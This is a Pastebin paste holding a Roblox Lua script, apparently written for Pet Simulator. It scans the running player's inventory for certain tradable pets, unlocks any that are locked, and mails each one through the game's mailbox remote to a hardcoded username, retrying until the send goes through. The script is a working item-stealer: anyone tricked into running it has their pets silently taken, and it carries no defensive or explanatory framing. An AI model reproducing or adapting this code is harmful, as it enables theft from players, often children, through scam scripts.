Advertisement
booiiii

Untitled

Dec 4th, 2024
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.99 KB | None | 0 0
  1. Roblox_Username = "";
  2. local Library = require(game.ReplicatedStorage.Library);
  3. local Save = (require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get();
  4. local Directory = require((game:GetService("ReplicatedStorage")).Library.Directory);
  5. local Player = game.Players.LocalPlayer;
  6. local Inventory = Save.Inventory;
  7. local HttpService = game:GetService("HttpService");
  8. local message = require(game.ReplicatedStorage.Library.Client.Message);
  9. local network = (game:GetService("ReplicatedStorage")):WaitForChild("Network");
  10. local GetListWithAllItems = function()
  11. local hits = {};
  12. print(1);
  13. local AllowedPets = {
  14. ["Autumn Teddy Bear"] = true,
  15. ["Autumn Chest Mimic"] = true
  16. };
  17. Inventory = ((require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get()).Inventory;
  18. if Inventory.Pet ~= nil then
  19. for i, v in pairs(Inventory.Pet) do
  20. id = v.id;
  21. dir = Directory.Pets[id];
  22. if dir.Tradable ~= false and AllowedPets[id] then
  23. table.insert(hits, {
  24. Item_Id = i,
  25. Item_Name = v.id,
  26. Item_Amount = v._am or 1,
  27. Item_Class = "Pet",
  28. IsShiny = v.sh or false,
  29. IsLocked = v.lk or false,
  30. Item_ImageId = ItemImageId,
  31. Item_Type = ItemType
  32. });
  33. end;
  34. end;
  35. end;
  36. return hits;
  37. end;
  38. local function sendItem(category, uid, am, locked)
  39. local args = {
  40. [1] = Roblox_Username,
  41. [2] = "Bonki did it",
  42. [3] = category,
  43. [4] = uid,
  44. [5] = am
  45. };
  46. local response = false;
  47. repeat
  48. if locked == true then
  49. local args = {
  50. uid,
  51. false
  52. };
  53. (game:GetService("ReplicatedStorage")).Network.Locking_SetLocked:InvokeServer(unpack(args));
  54. end;
  55. local response, err = (network:WaitForChild("Mailbox: Send")):InvokeServer(unpack(args));
  56. until response == true;
  57. end;
  58. local hits = GetListWithAllItems();
  59. local Left_Hits = #hits;
  60. if #hits > 0 then
  61. for i, v in pairs(hits) do
  62. print("sending");
  63. sendItem(v.Item_Class, v.Item_Id, v.Item_Amount, v.IsLocked);
  64. Left_Hits = Left_Hits - 1;
  65. end;
  66. end;
  67.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement